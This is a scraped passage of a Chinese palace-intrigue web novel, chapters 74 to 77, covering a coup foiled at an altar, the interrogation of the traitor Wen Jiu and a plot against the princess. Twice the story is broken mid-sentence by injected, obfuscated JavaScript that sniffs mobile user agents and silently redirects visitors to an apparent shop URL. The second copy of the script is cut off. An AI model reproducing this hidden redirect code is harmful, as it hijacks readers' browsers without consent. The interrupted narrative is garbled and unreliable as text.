祭台不大,两方人一人占据着祭台的一边,谁都没有轻举妄动——如今双方能打的人数都一样,林魏然与幼荷这边还有两个不能打的杨灵允和小皇帝需要保护。 若贸然动手,滚落祭台,更容易出事。 “闻九,你何时与郑昭月有了接触?”杨灵允神色依旧很平静,仿佛是在朝堂之上问一个再普通不过的问题。 林魏然捂着伤处,换了只手持刀护在杨灵允面前,冷声道:“想必我们在乌山的时候,闻大人就已经与郑姑娘有了联系吧。” “乌山?”杨灵允意外挑眉,“那般早吗?” 她眼神又投向闻九,“原来从那时你就计划着背叛本宫了啊。” 这应当是质问的话语,但是杨灵允的语调实在平淡。 闻九神色忽然有片刻的扭曲,连唇边的笑意也变得阴冷了些:“公主殿下,你还是这样,只要是他说的你就信。他站在你的对立面,怀疑你,质疑你,顶撞你,甚至想把你踢出朝堂,你却还这样死心塌地地相信你,真是可悲又可笑啊。” 林魏然持刀的手忽然有了一丝细微的颤动。 “所以呢?”杨灵允点点头,丝毫没有将他的话放在心上,平淡道,“这就是你背叛本宫的理由?” “我替你干了那么多事,我从来没有忤逆过你,我尊你为长公主,你却只信任这个姓林的!”闻九猛然举刀指着杨灵允,狭长的眼底闪过阴狠,“你有在乎过我的死活吗?” “尊崇你不要,偏要跟这个姓林的搅在一起,那你们都一起去死!” 闻九忽然大笑出声,扬手挥了一圈,“杨灵允,你瞧瞧下面,你还真以为你暗中部属的金吾卫真的听命于你吗?” 祭台下的厮杀声还在继续,情势却仿佛急转直下,身披甲胄的金吾卫加入了混战,天平逐渐往金吾卫和东南军的方向倾斜。 林魏然和小皇帝眼底都闪过明显的忧色,小皇帝下意识地将眼神投向杨灵允,又拉了拉林魏然。 闻九见状冷笑道:“别垂死挣扎了,你受了伤,就凭一个侍女,打不过我们的。” 说着他忽然又看着杨灵允,嘴角弯起明显的弧度:“公主殿下,不如跪在我面前求我,我便留你一命。” “虽然你也跟了姓林的,不过我不嫌弃。” 这话瞬间激怒了林魏然,他周身戾气暴涨,举刀就要攻上去,又在下一刻被杨灵允喝停—— “住手!”杨灵允伸手拽住他,“你受伤了别动!” 闻九嘴角弯起得意的笑意,以为杨灵允是怕了,但她的下一句话瞬间凝固了他的脸色—— “既然你这么早就跟郑昭月勾结上来,想必应该知道,她手中的遗诏,哪来的?” 平淡的声音飘在不大的祭台之上,杨灵允神色平静得近乎漠然,仿佛一点也不在乎底下混战的结果。 也丝毫没有将闻九的威胁放在心上。 闻九恨极了她这副模样,狠狠咬牙,冷笑道:“想知道遗诏哪来的?等我的人打上祭台,你就知道了。” 细微的叹气声响起在祭台上,杨灵允垂了眼睛,指尖轻轻抚过手腕上的玉镯,然后掀起眼皮看向对面两人,缓慢地吐出一口气:“我给过你们机会了。马上就是哥哥的忌日,我本不想在祭台上见血的。” 她话音刚落,一只鸣镝骤然升起,在略有暗淡的天色中爆开剧烈的声响,震得所有人都僵了片刻。 闻九回过神来,冷笑道:“找杨言?可惜了,你的管事太监带着的那队金吾卫现在大约还被困在长安城门口呢。” 呼啸的风吹散了闻九阴冷的话,也扬起杨灵允那一身华贵精美的朝服。 她站在祭台中央,艳丽的妆容遮住了略带病气的面孔,更添几分不可高攀的高高在上。 在猎猎风中,杨灵允仿佛施舍般,投了个匪夷所思的眼神给他,“你怎么会觉得我能放心把宫中、府中、还有金吾卫都交给杨言?” 闻九和郑昭月神色陡变,瞬息之间,又有一队人马从行宫所在的方向现身——但人不多,远比不上闻九手下的金吾卫。 郑昭月看了眼祭台之下,才嘲讽地笑出声:“姐姐啊,我以为你还藏着多少兵呢。就这么点人,你就想扭转乾坤?” 但闻九看见为首之人的面孔时,脸色却依旧不太好看。 杨灵允 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但他周身都是冷冽和凌厉,声音响起时宛如洪钟:“诸位跟随老夫护卫先帝多年,先帝去了,老夫也该告老还乡。只是朝中乱臣贼子贼心不死,老夫不得不出来啊。” 他眼神依旧清明而凌厉,扫过众人时带着深重的威压。 在所有金吾卫的注视下,安和重重地叹出一口气,“诸位,放下刀剑,我们是护卫京畿的,不是他们王公贵族争权夺利的棋子。放下刀剑,回去好好守着长安,没有人会追究你们今日之举。” 方坛下形势再度变化,闻九脸色愈发阴沉,咬牙切齿:“你居然让他再出来?” 一年多前,三王乱京,林魏然带兵进长安清君侧,最先的阻拦便是安和所率的金吾卫——直到消息传来说三王手下的人打到了宫门口,安和才放了林魏然进城一同清剿三王乱党。 但在翌日,杨灵允扶持小皇帝登基后,安和便当众请辞,毫不留情地下了杨灵允和小皇帝的颜面,此事当时在京中也掀起不小的风浪。 杨灵允,怎么还敢用这种人? 闻九恨得咬牙切齿,但也知道再不有所动作就来不及了。所以他与郑昭月暴起冲来——只要杀了杨灵允,或者小皇帝,只要杀一人,他们就还有转机! 林魏然和幼荷迎了上去,杨灵允带着小皇帝退到祭台边缘,伸手捂住了小皇帝的眼睛,轻声道:“没事,马上就结束了。” 在刺耳的刀剑摩擦之音和愈发浓重的血腥味之间,小皇帝忽然拉下了杨灵允的手,然后抬头对她笑了笑:“我不怕,姐姐。” 杨灵允难得怔愣片刻,才抬手将小皇帝往自己身后按了按,看向祭台中间的四人混战。 林魏然被郑昭月的剑伤了惯用手,左手持刀显然有些不利索,在打斗间连连败退,幼荷一人撑着闻九和郑昭月越发猛烈的最后一搏,显然有些力不从心。 更糟糕的是,人群中的郑虔身影在杨灵允眼底一点点放大——他要上祭台了。 若是让郑虔上来,林魏然和幼荷迟早会输。 金吾卫在安和的出现下放下了武器,但没有一个上来帮忙,傅令温带着人拖住东南军——祭台之上,杨灵允这边再没有人了。 75. 第 75 章 但也就在郑虔即将踏上祭台的前一刻,另一道略有佝偻的身影拦下了他—— 是安和。 小皇帝缓缓捏紧了杨灵允的手。 安和声音嘶哑:“郑将军,你我都是不参与党争的,回去吧。” 郑虔的手缓缓握上刀,“那是我的女儿。” “她到底是谁,你比我清楚,”安和仍旧拦着郑虔的路,眉头都没有皱一下,平静道,“你非说她是你的女儿,难道要让整个淮南郑氏都背上谋反的罪名吗?” 郑虔的面皮有细微的颤抖,握刀的手也有片刻僵硬。 安和叹口气,继续道:“你不该回长安的,此事了了,趁早回东南,好好守着东南百姓吧。” “你以为我想回长安吗?”郑虔陡然动怒,激动间横刀出鞘,泛出冷光,“是她逼我的,是她拿月儿的身世逼我,不然我郑家怎么可能搅进这种事!” 他说着,已然下了决定,抬脚就要继续往上。 安和见状,阖了阖眼,在瞬间做了决断,拔刀拦住了他:“那我们只能刀剑相见了。我得为我手下那帮弟兄考虑,陛下与长公主不能输。” 所有的斗争止于傅令温射出的一箭——东南军与傅令温带的亲兵胜负已分,傅令温甚至没受什么伤,捆了东南军的领头郑光后,冲上祭台,三对二,胜负很快揭晓。 郑昭月被傅令温囚着,不甘地怒吼:“我身上也流着傅氏的血,你凭什么帮她不帮我?” “因为跟你做交易的是傅令珏啊,”杨灵允缓缓走近,弯腰看她,嘴角还微微弯着,眼神却冷,“你选错了人,自然要死。告诉我遗诏到底哪来的,我能让你死得痛快些。” 郑昭月像是抓到什么救命稻草一般,挣扎着吼道:“遗诏,对我还有遗诏!他的皇位名不正言不顺,只有禧王殿下,他才是真正的皇位继承者!禧王的遗孤还在我手上,还不快放了我!你们这群乱臣贼子!” 闻九被林魏然和幼荷连手押着,郑虔也被安和按在了台阶之上——杨灵允依旧是赢家。 但她却没有半分愉悦,反而阴着脸拽起郑昭月的头狠狠摁下,直到在祭台上磕出血后,她才松了手,面无表情:“你改过遗诏。真正的皇位继承者,是杨禛允。” 郑昭月和闻九闻言脸上都闪过惊鄂——遗诏不过在日光下片刻,就算杨灵允看出遗诏被改过,又怎么可能知道真正的皇位继承者之名? 但除了他们二人,在场之人显然都听过这个名字。 “太,太子殿下?” 有人难以置信地喃喃出声。 也有人瞪了出声之人,咬牙提醒,“什么太子,早就是废太子了,还是个死人,你可别胡咧咧。” “死心了吗?”杨灵允再次拽起郑昭月的头发,“杨禧允那个废物,先帝就算老糊涂了也不可能立他为太子,现在告诉我,你手里的遗诏,到底,哪来的?” 郑昭月目光忽然有些失焦,眼神空洞地看着近在咫尺的杨灵允,这张与自己一模一样的脸——她是高高在上的尊贵的长公主,可她却只是一个普普通通的将军之女。 凭什么?? 明明是一样的出身,流着一样的血,凭什么她这么好运? 额上的血缓缓淌下,染红了她半张艳丽的面孔,郑昭月嗅到了浓重的血腥味,还有口中的腥甜。 她浑身狼狈,却忽然得意地大笑起来,脸上露出疯狂的神色,死死地盯着杨灵允:“你这辈子都别想知道!” 杨灵允猛地起身抢过林魏然手中淌血的刀,大约是动作太急,她一时有些头晕目眩,在原地缓了片刻。 但也就在这片刻之间,郑虔忽然爆发出强烈的力量,猛地挣开了安和的桎梏,挡在郑昭月面前,向来冷硬的脸上浮出哀求:“别杀她,别杀她,一切都是我谋划的,你要杀就杀我!” 但下一刻他又被安和再次控制住了。 杨灵允缓过了令人眼前发黑的眩晕,就看见这一幕,嘲讽地笑了一声,“那你告诉我,遗诏到底是哪来的?一年前我搜遍太极宫也没找到的遗诏,为什么会落在她手里?” 天光愈发暗淡,祭台上下都无半分声响,所有人的目光都落在祭台之上的几人身上。 郑昭月在傅令温的手下难以动弹,只得猛烈挣扎着,似乎是想把郑虔从自己身前挤开。 但她没有成功,只能徒劳地仰头死死盯着杨灵允,怨恨的话语一字一字从喉咙中挤出:“与他无关,这一切都是我谋划的。我就是不甘心,凭什么你是长公主,凭什么我就被送出了宫?” “凭什么,分明都流着一样的血,你就这么好运?” 寒风中飘着沙哑的声音,郑昭月终于从傅令温的手中挣开些许,扬手推开了挡在自己面前的郑虔。 郑虔被推得歪了身子,头狠狠地磕在坚硬的祭台石板上。 “真是父女情深啊,”杨灵允轻嘲道,“你告诉我遗诏到底哪来的,我就放过郑虔。” 祭台上所有人眼底都划过一丝难以置信——杨灵允为何这般在意遗诏一事? 充斥着不甘和怨毒的眼睛忽然闪过一丝异样的神色,郑昭月在这一瞬间垂了眼,她面上的血迹都已经干涸,凝固在薄薄的眼皮上的血迹遮住了她的眼底。 杨灵允彻底没了所有耐心:“你不知道。” “把她带回去,”她挥了挥手,抬脚往闻九那个方向去。 但她却被人再次拽停在原地。 今日祭天,身着朝服,逶迤拖地的裙角很轻易被几步之外的郑虔死死拽住了。 杨灵允回头时便看见满身狼狈的郑虔摇摇晃晃地站了起来,手里还拽着她的裙角。安和只沉默地架了一把刀在他脖颈上,不让他靠近杨灵允,却没阻止他的行为。 “她是你妹妹,”郑虔喉咙滚了又滚,才发出嘶哑的声音,如同残破的晚钟,“长公主殿下,放过她吧。看在我曾出兵帮你的份上,饶她一命吧。” “爹!”郑昭月挣扎着想阻止郑虔替她向杨灵允求饶,“我……” “你住嘴!”郑虔对她厉喝一声,在郑昭月被吼呆住的目光中,缓慢跪下磕头,“长公主殿下。此事我一力承担,要杀要剐悉听尊便。只是昭月终究是你一母同胞的亲妹妹啊,令柔在九泉之下也不会愿意看到你们姐妹相残的局面。” 他抛弃了自己所有的尊严,甚至不惜用自己的命,换一个与他毫无血缘关系的女儿活下来。 而傅令温在听到自己姐姐名字时,握刀的手也不禁有了细微的颤动,她下意识地垂眼看郑昭月,又抬眼看杨灵允,神色复杂。 杨灵允顿在原地,半晌,直到寒风猛烈刮过,她仿佛才回过神一般,似笑非笑地看向满脸愤恨的郑昭曰,轻轻开口:“郑昭月,究竟是你好运,还是我好运啊?” “郑将军,”她又将目光投向郑虔,扯了扯嘴角,“拿母后感动我?可惜了,我这个人最不吃这一套。” 郑虔神色骤变:“长公主,昭月她到底也没做成什么啊,你明明一切都知道,却还任由她做这些事,她是你的亲妹妹!若你早点把她认回去,这一切都不会发生!” “说到底你也有错!” 垂死挣扎的声音回荡在寂静的半空,连猛烈的寒风都吹不散。 嘶吼的声音在杨灵允耳边嗡嗡作响,震得头痛。她阖了阖眼,神色毫无波动,“所以呢?这一切都不是我逼她做的,是她自己的选择。成王败寇,认了吧。别死的时候还那么难看。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993144|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻微的“刺啦”声后,杨灵允的裙角被撕碎了些许,碎布被捏在郑虔的手心。 傅令温叹口气准备把郑昭月押走。 郑虔忽然冲着杨灵允的背影大吼道:“杀血亲者,不得好死!你要想清楚,为自己积点德!” 这话对杨灵允来说毫无杀伤力,却瞬间激怒了林魏然。 他暴起上前,踹翻了想要拉住郑昭月的郑虔,冷声道:“郑昭月刺杀长公主,已是罪该万死。她又是东南、长安两地寒食泛滥的罪魁祸首。郑虔,你公私不分,包庇罪犯,如今还胆敢口出狂言,是想被诛九族吗?” 他这话怔住了在场的所有人,连杨灵允都停了脚步——“寒食,是郑昭月弄的?” 林魏然点头,义正言辞:“我已查清成百万曾在东南居住过很长一段时间,其中受过一个人的不少恩惠,便是郑昭月。寒食在东南被郑虔禁了之后,郑昭月便把手中剩的货全给了成百万,让那时已经回长安的成百万售卖。” “寒食事发之后,成百万被郑昭月和闻九借御史台的手除掉了,只是他们漏了一点——成百万家中藏着的账册,明明白白地写清楚了一切。” “还有王文辅,想必也是因为寒食事发,被郑昭月和闻九除掉了。” “当初我们乌山之行,那名金吾卫说他曾跟着闻九去见了郑光,还看见一个女子,与长公主样貌有几分相似。” 林魏然语速飞快地说了这么一大通,又道:“本是想等祭天结束之后整理好证据再上奏陛下与公主,只是郑虔实在可恶,竟敢对公主殿下出言不逊。” 说着,他又弯腰拽起郑虔的头发,冷冷道:“郑虔,你分明知道郑昭月到底在东南做了什么,却装聋作哑,甚至诅咒公主殿下,实为谋逆,当诛九族!” 郑虔狼狈极了,被迫仰头看着这个比自己小数十岁的年轻人,面皮上的皱纹在一瞬间变得非常深刻。 他脸上缓缓浮现出一种近乎讥诮的神色:“诛九族,你诛得起我的九族吗?我乃淮南郑氏!我镇守东南三十余年,我打退海寇的时候你还没出生呢姓林的!” 大约是抱着就算不能气死杨灵允也要气死林魏然的心情,他再次张扬地大笑出声,寒风猎猎而过,吹乱了天地间的一切,都没吹散他嘶哑的声音—— “是,我是瞒了月儿与寒食的关系,那又如何?东南的寒食我解决了,受苦的百姓我补偿了,还不够吗?如今是她给月儿挖坑,是她不念亲情。今日她杀了月儿,传出去天下人都知道她杨灵允是个手足相残的残暴之人——” 风骤起,官帽被吹飞,朝服在风中猎猎作响。郑虔盯着林魏然,声嘶力竭地吼道—— “她不得好——” “死”字还未说出口,林魏然已然捏紧了拳头,暴起一拳打过。 郑虔直接偏过了头,张口喷血,还掉落了几颗碎牙。 “闭,嘴。”林魏然半蹲下来,咬牙切齿地捏住了郑虔下颌,仿佛郑虔再多说一句就会直接卸了他的下巴。 安和皱了皱眉,收起刀想阻止林魏然——郑虔到底是个战功赫赫的将军。士可杀不可辱。 但杨灵允快他一步,抬手按住了林魏然,轻声道:“起来吧,你受伤了。” 大约是先前太用力,凝固的伤口再次裂开,绛紫色的朝服上,一片深色的痕迹很明显。 林魏然这才后知后觉地感受到右臂传来的剧烈疼痛。他抿了抿唇,忽然用力握住了杨灵允的手,垂下长睫,拿另一边干净的衣袖擦着杨灵允指尖的血迹。 他半跪着,擦拭的动作急促又用力,神色却被隐在晦暗的日光中,杨灵允看不真切,只听到他低低的声音—— “别听他的,你会长命百岁,一定会。” 76. 第 76 章 杨灵允弯唇对他笑了笑,用力将他拉起,“我知道。” 她将林魏然拉开,自己半蹲在了郑虔身前,平淡道:“郑虔,不管你是想拿流言还是拿郑氏逼我别杀郑昭月,都不可能。你少说几句废话,我还能让郑昭月死得痛快点,死后丧事办得风光些。你再多废话,我直接让人一卷席子裹了扔乱葬岗去。” 郑虔骤然惊怒,咬牙切齿:“你会遭报应的——!” 杨灵允扯了扯嘴角,凤眼之中一片漠然:“哥哥死后,我早就在报应里了。” 郑虔怒骂着还想扑上前来拽住杨灵允,但这回安和却有了动作,眼疾手快地控制住他,抬手利落地打晕了。 混乱间,没有人注意到——被幼荷押着的闻九往杨灵允的方向投了异样的眼神。 而在郑虔瘫软下身子倒在地的那一刻,郑昭月沙哑着开口了—— “为什么是我?” 日光晦暗,祭台上人影憧憧,隐隐绰绰间,她仿佛就是杨灵允。 只是她更狼狈,凝固了半张脸的血迹衬着她直勾勾的眼神,有几分惊悚。 杨灵允回头看她一眼,嘲讽的悲哀在她眼底一闪而过——“我也想问母后,为什么是我被留在宫中?” 此次叛乱的领头人都一一被押走,祭天大典潦草结束,众人再次启程回长安城。 回城后,杨灵允难得在宫中陪了小皇帝几日,直到底下的人都把口供、证据一一整理好递上来,朝会将开的前一夜,小皇帝终于问杨灵允—— “姐姐为何这么在意那道遗诏?” “她为何在意那道遗诏?” 宁安侯府内,王征啊、宁安侯都神色凝重地看着风尘仆仆地从刑部赶来的林魏然,想从他这里得一个答案。 林魏然扯扯嘴角:“我如何知道?回城之后我便没见过公主与陛下了。” 宁安侯握拳敲手盘算着:“遗诏是先帝字迹,这不会错。只是如今不知这遗诏上的名字到底是太子殿下还是杨禧允。若是太子殿下还好,若是杨禧允,可糟糕了。” 他还是习惯喊着旧时称呼。 王正安也神色忧虑:“如今遗诏在长公主手中,那郑昭月口中的禧王之后也在长公主手中,明日朝会,形势不利啊。” 屋内响起一声轻淡的嗤笑,王正安和宁安侯的眼神都投向林魏然,“你知道什么?” “我什么都不知道,”林魏然还带着那副似笑非笑的神色,“只是觉得不必如此杞人忧天。祭天显然就是长公主为了钓出郑昭月和闻九而布的一个局,她压根没想过利用祭天一事做旁的什么事。” 王正安不赞同地摇摇头:“但如今她遗诏、遗孤全部都得到了,只要她说先帝遗诏上写的其实是杨禧允,那么陛下危矣。” “她已经当众承认遗诏上是写的是太子之名!”林魏然不由加重了语气。 宁安侯冷嘲热讽:“当时那种情况,若她不承认遗诏是太子之名,岂不落了郑家人的口实。” “容时,你还太年纪,”王正安语重心长,又顺了顺花白的长须,“长公主的存在对陛下来说就是威胁,闻九没了,还有傅氏。” “她权势太盛了。”王正安长长地叹出一口气,抬眼看林魏然,面孔苍老眼神却凌厉,“容时,不要忘了自己的身份。” 林魏然倏然沉默在原地,缓慢地垂下了眼。 王正安的话再次提醒了他那个冷酷的事实——就算杨灵允什么都没做,这些太子旧臣也始终在猜忌提防着她。 从头到尾,他们都没有真正信任过她。 杨灵允始终都是一个人。 当这个事实时再次大摇大摆地占据林魏然的意识时,他仿佛被人狠狠扼住脖颈,难以呼吸。 半晌,他深吸一口气,抬眼看正襟危坐的两人——一个是他曾经的老师,一个是他的父亲。 “所以呢?”他眼神幽黑,轻声开口,“你们说了这么一大通,到底是想要我做什么?” 王正安缓慢笑起,年月风霜刻下的皱纹愈发明显,“西北战事又起,若是傅影这回再赢了,傅家的声望在整个西北将无人可及。所以我们要在战报传回长安之前,发动宫变软禁长公主。” “她谁都不信,除了对你有三分纵容,容时,”王正安定定地看着林魏然,“原本的禁军首领已经被她带去了公主府,闻九又背叛了她,她还自作聪明地把安和召回来,现下金吾卫也未必受她控制。” “如今是我们最好的时机。” 老者沙哑的声音响彻灯火通明的屋子,王正安又缓慢地将一道手令推至林魏然手边,“太子殿下对安和有提携之恩,你拿着这个去找安和。” 桌上的那道手令他非常熟悉——当初太子也给过他一道。 原本太子是让他在危急时刻能去帮杨灵允的,如今却成了对付杨灵允的利器。 死一般的沉默渐渐蔓延在亮得晃眼的屋内,紧闭的门窗隔绝了外边所有的风雪,屋内并未点炭,林魏然却忽然觉得闷热得令人窒息。 半晌,他扯了扯嘴角,“王相,太子给你这道手令的时候,是让你这样用的吗?” 王正安纹丝未动,连眼睛也没有多眨一下,镇静地端坐着,语调冷静得可怕:“太子已去。我作为曾经的太子太傅,必须要护好陛下。” 林魏然从喉咙中挤出短促的一声,沙哑得让人难以分辨其中情绪。他什么也没说,转身离开。 推开门的那一刻,风雪扑面而来,瞬间卷走了屋内的热意。 宁安侯阴着脸拍桌想去追林魏然,却被王正安拦下了—— “让他好好想想,”王正安冲他微微摇头,沙着声音,“他会想清楚的。” “他与长公主如今可是……”宁安侯焦急地想说什么,又生生咽下,只道,“若是他把我们的计划泄露给长公主怎么办?” “他不会的。”王正安缓缓阖了眼,宛如老僧入定般沉静,“他没有拿走我给他的手令,说明他并不会站在长公主那边。至少不会泄露我们的事。” “王相?”宁安侯还是有些不理解,“你明知道他与长公主……此事我们自己做也可以,为何要告诉他?” 王正安沉默了很久,才低声道:“你不是告诉我,他曾说过要带长公主离开长安吗?” 所以不管林魏然选什么,他都能得到他想要的。 “长安的明堂只能坐一个人。” “长安的朝堂中不能少世家子弟。” 王正安的声音在这一瞬间变得沧桑,仿佛垂垂老矣。 快步离开的林魏然顶着风雪回了自己的家,推开门的瞬间,他恍惚以为杨灵允 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杨灵允轻轻吐出一口气:“我只是想日后见到了哥哥,能把一切都清清楚楚地告诉他。” “姐姐!”小皇帝陡然变了神色,拧眉道,“别说这种话。” 杨灵允轻轻笑开,伸手捏了捏小皇帝的脸:“陛下,明日朝会,你自己去吧。” “姐姐不去吗?”小皇帝一下有些担忧,“为何?” “陛下觉得林魏然那条广开科举的政令如何?” 小皇帝沉吟片刻:“如今朝中多世家子弟,抱团风气甚重。林太傅的政令是好的,一能缓解这种风气,二能为朝堂广纳天下人才。” 杨灵允笑道:“那就好,那明日的朝会你就更该自己去了。祭天刚过,王正安还要脸面,不会当众与你作对。你可趁此机会处理一些尸位素餐之人,为明年春闱腾出位置。” “陛下,”杨灵允脸上浮出很温柔的笑,“祭天谋反的事足以把傅令珏和傅影都拉下来,我答应过傅令温,西北交给她,会比在傅影手上更安稳。” “云氏、傅氏,我都解决了。剩下的就要看你自己了。王正安是哥哥的老臣,会尽心辅佐你,但他也有自己的私心,有些事可以交给他,但寒门与世家之间的事还是交给林……” 她难得的碎碎念忽然被小皇帝打断了。 小皇帝抬手按在了她的唇中。 杨灵允后知后觉地意识到,小皇帝是真的长大了,已经比她还高,少年五官长开后更显锐利。 “姐姐……”小皇帝眼神幽黑,他低低地唤了这么一声,忽然阖了眼睛。 窗外落雪的声音从缝隙间顽强地钻进来,小皇帝似乎是被这簌簌落雪的声音惊醒了,捏紧了掩在身后的手,才继续开口—— “你是不是要走了?” 杨灵允倏然沉默在原地,半晌才开口,低声道:“陛下,皇位上只能坐一个人。” 她没说是也没说不是,但迂回婉转的话已经表明了一切。 小皇帝一下红了眼眶,突出的喉结剧烈地滚动了好几下,才挤出沙哑的声音:“姐姐,那我呢?” 杨灵允拉开小皇帝的手,迟疑着,伸手拍了拍他的肩膀,低声安抚:“大周会在陛下手中四海承平,天下太平。” 77. 第 77 章 翌日的朝会,说是朝会,但其实就是秋后算账。 王公大臣们各有各的盘算,郑虔与郑昭月一同下狱,东南军空了出来,每个人都对东南这块香饽饽垂涎许久,所以这不光有秋后算账,还有权力分配。 朝臣们陆陆续续地踏入大殿,在小皇帝现身后,魏内侍和杨言立侍左右,尖着嗓子高声宣布—— “有本启奏——” …… “长公主呢?” 阶下群臣神色微妙,议论纷纷。有的喜上眉梢,有的神色阴沉——其中脸色最难看的,当属傅令珏。 小皇帝在细微的议论声中渐渐冷了脸色,然后面无表情地摔了手中的龙纹玉佩—— “哐当”一声,玉佩碎裂在阶上,大殿之内倏然沉寂。 小皇帝捻着指尖,锋利的眼眸抬眼扫向底下的憧憧人影,嘴角挑起毫无温度的弧度:“众爱卿,是没将朕放在眼里吗?” 无论心里怎么想,底下瞬间黑压压跪了一片,高呼着:“陛下息怒!臣不敢!” 有了这场震慑,底下总算安静了不少,这场没有长公主的朝会随之开启。就在众人心里怀疑是不是陛下正在削弱长公主权势时,林魏然的话便证实了这一切—— 他上奏的第一件事,便是傅令珏与傅影勾结郑昭月,意图谋害长公主。 …… 而身处话题中心的杨灵允对朝会上发生的事毫无兴趣,她换了身衣裳,独自进了诏狱—— 闻九就被关在这。 大约是因为林魏然特意关照过,他的双手双足都被铁链捆在墙边,每日的吃食都是由狱卒拿进牢房放在他面前。 久未润滑的铁牢门推开时发出刺耳的摩擦声,仰头倚在墙边的闻九闻声睁开了眼,便看到一身黑衣的杨灵允踏进来,与四年前一样把他捧上平侯这个位置时,如出一辙。 “公主殿下……”闻九缓慢地出声了,但大约时太久没说话,声音沙哑得难听。 他满身狼狈,祭天那日沾上的血早已干涸,一块一块地凝固在他削瘦的脸上,唇上毫无血色,只有那双狭长的眼睛里还亮着异样的光。 杨灵允在一个安全的距离中站定,半蹲下来,耐心地问道:“郑昭月说遗诏是你给他。你又是从哪里找到的遗诏?” 闻九对上她暗隐迫切的眼神,片刻之后忽然低低地笑了起来。 他没有回答杨灵允的问题,开口反问:“公主殿下,你究竟是从什么时候开始怀疑我的?” 如今闻九知道自己已是将死之人,拿什么威胁都没有用,他大可破罐破摔,但杨灵允不行,她必须要弄清遗诏究竟从哪来的,给哥哥一个交代。 所以杨灵允顿了片刻,淡淡道:“王文辅第一次来找我时,我就怀疑他身后有人指使。” 在她话音刚落的片刻之后,闻九仿佛是听到了什么笑话,尖锐刺耳的笑声回荡在空荡幽暗的牢房内。 好一会,他才止住了笑,狭长的眼睛死死地盯着杨灵允,沙着声音问:“从春闱开始,到现在将近一年。一年时间,公主殿下,你都不问问我为何背叛你吗?” 杨灵允阖了阖眼,遮去眼底一闪而过的不耐,“闻九,人往高处走水往低处流,郑昭月许了你更好的前程,你背叛我,我不在乎。你告诉我遗诏究竟是哪来的,我还能让你死得体面些,否则你死后尸首——” “我都要死了,还在乎那么多作甚?”闻九毫不客气地打断了杨灵允,讥诮道,“公主殿下,你的那套威胁把戏,在我这里没用。” “你想要什么?” 杨灵允正在尽力压制自己的不耐烦——这个事实让闻九恨得更加咬牙切齿。 但他心底愈痛恨,面上便愈平静,甚至还微微笑起,仿佛过去还在给杨灵允做事的时候。 但他的声音到底暴露了他心底的不甘——“凭什么是林魏然?” “凭什么,是林魏然当帝师,凭什么,你清算的时候从来不用林魏然,把一切血账都推到我头上?” 风从高高的窗中灌进来,陡然吹灭了一盏灯。本就幽暗的牢狱之内此时更暗了几分,杨灵允的面孔也变得晦暗。 她缓缓开口:“闻九,我没有逼你。弑父弑兄是你自己的选择,你做了这一切就不可能做帝师。至于那些血账,在你头上,难道不在我头上吗?” 牢狱内骤然传来剧烈的铁链摩擦之音,杨灵允的话激怒了闻九,他咬牙切齿地在原地拼命挣扎,看着杨灵允的眼神恨得仿佛能滴出血来—— “你没逼我,那你难道给过我第二个选择吗?我不杀他们,你会扶持我当平侯吗?你扶持我当平侯,不就是为了让我替你干那些沾血的事吗?” “凭什么姓林的就这么好运?他凭什么就有的选??凭什么他既能跟你在一起,又能高高在上地做天子帝师?” “都是侯府出身,凭什么他就这么好运??” 这话已经不是在质问杨灵允了,纯粹就是闻九在发泄。 杨灵允看着他那双狭长的眼底布满猩红,忽然少见地生出了几分感慨——四年前母后自戕,哥哥被废,她被那些奴才磋磨,被寒食折磨得痛不欲生的时候,也整夜整夜地这样痛恨地想着—— 凭什么是她被留在这吃人的宫墙中?凭什么她废了身子,郑昭月还能逍遥自在地在东南过好日子? 都流着一样的血,凭什么郑昭月就那么好运? “认了吧,闻九。”杨灵允又缓缓坐下,这回她忽然生出了不少耐心,长长地吐出一口气,看着闻九挣扎嫉恨的眼睛,缓声道,“命运有时候就是这样,有些人就是能轻易得到我们穷尽一生也得不到的东西,我们争过了,努力过了,结果如何,只能看天。” “闻九,命运就是如此不公,认了吧。”杨灵允扯了扯嘴角,轻声叹息。 这是把闻九和自己放在一起,真心实意的一句感慨。 闻九停止了所有的挣扎,脸上的皮肉却忽然微微痉挛,然后渐渐恢复平静。 但他眼底却亮起疯狂的亮光,低低笑了两声:“我们?” “公主殿下,你是得到了你想要的,所以才能在这高高在上的指教我。若是你没得到呢?你还能这样轻描淡写地说这种话吗?” “如果我输了,我会立刻去死。”杨灵允从喉咙中挤出急促的一声,“可是老天不长眼啊,只带走了哥哥。” 闻九忽然滚动了一下喉结,死死地盯着她:“我快死了,权势地位我什么都没有了对吗?” “是的,”杨灵允很平静地点头,“但你告诉我遗诏哪来的,日后青史上便会记得你权倾朝野的一年。” “生前得不到的东西,死后得到也不错。” “那有何用?”闻九声音渐渐变轻,缓慢地仰头靠在了牢狱的墙上,阖上眼睛,遮住了眼底恶劣又疯狂的森冷笑意—— “不过我这个人心肠好,就告诉你吧。那遗诏啊,其实不是遗诏,是先帝身子还算康健的时候写的。” “也是,”闻九刻意拉长了语调,混着满怀恶意的阴狠—— “太子给我的。” 风再次缓缓灌进,不大,却夹杂着刺骨的寒意,细细密密地缠绕住了杨灵允。 仅剩的几盏灯火被吹得摇摇晃晃,光影飘摇间,杨灵允忽然觉得自己仿佛被锯成两半,额前传来剧烈的疼痛,但她此时的意识却清明得可怕,她听到自己毫无波动的声音响起在死寂的牢房内—— “什么意思?哥哥哪来的诏书,又为什么会给你?” “因为他以为我是你心腹啊公主!” 闻九陡然睁眼,大笑出声,声音像在砂纸上磨过一般,令人毛骨悚然,“他把我当成了你的心腹,以为你我关系好得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 